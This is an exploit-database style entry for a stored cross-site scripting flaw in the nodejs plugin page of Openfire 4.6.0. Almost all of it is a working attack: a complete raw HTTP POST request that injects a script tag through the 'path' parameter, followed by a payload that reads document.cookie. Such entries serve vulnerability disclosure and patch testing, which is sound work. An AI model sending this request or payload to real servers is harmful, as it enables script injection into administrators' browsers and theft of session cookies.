Openfire 4.6.0 Cross Site Scripting

`# Exploit Title: Openfire 4.6.0 - 'path' Stored XSS  
# Date: 20201209  
# Exploit Author: j5s  
# Vendor Homepage: https://github.com/igniterealtime/Openfire  
# Software Link: https://www.igniterealtime.org/downloads/  
# Version: 4.6.0  
  
POST /plugins/nodejs/nodejs.jsp HTTP/1.1  
Host: 192.168.137.137:9090  
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101  
Firefox/68.0  
Content-Length: 60  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Content-Type: application/x-www-form-urlencoded  
Cookie: JSESSIONID=node087pcmtxo1yry1fzb5tlt5bz4c19.node0;  
csrf=dWiihlZamEAB0mrO; DWRSESSIONID=oWZp3ax5c9EpPgMNZv4T4BASYrwhhv3K8pn;  
jiveforums.admin.logviewer=debug.size=0&all.size=524269&warn.size=856459&error.size=0&info.size=145819  
Origin: http://192.168.137.137:9090  
Referer: http://192.168.137.137:9090/plugins/nodejs/nodejs.jsp  
Upgrade-Insecure-Requests: 1  
Accept-Encoding: gzip  
  
path=%22%3E%3CScRiPt%3Eaozunukfyd%3C%2FsCrIpT%3E&update=Save  
  
payload："><ScRiPt>alert(document.cookie)</ScRiPt>  
  
`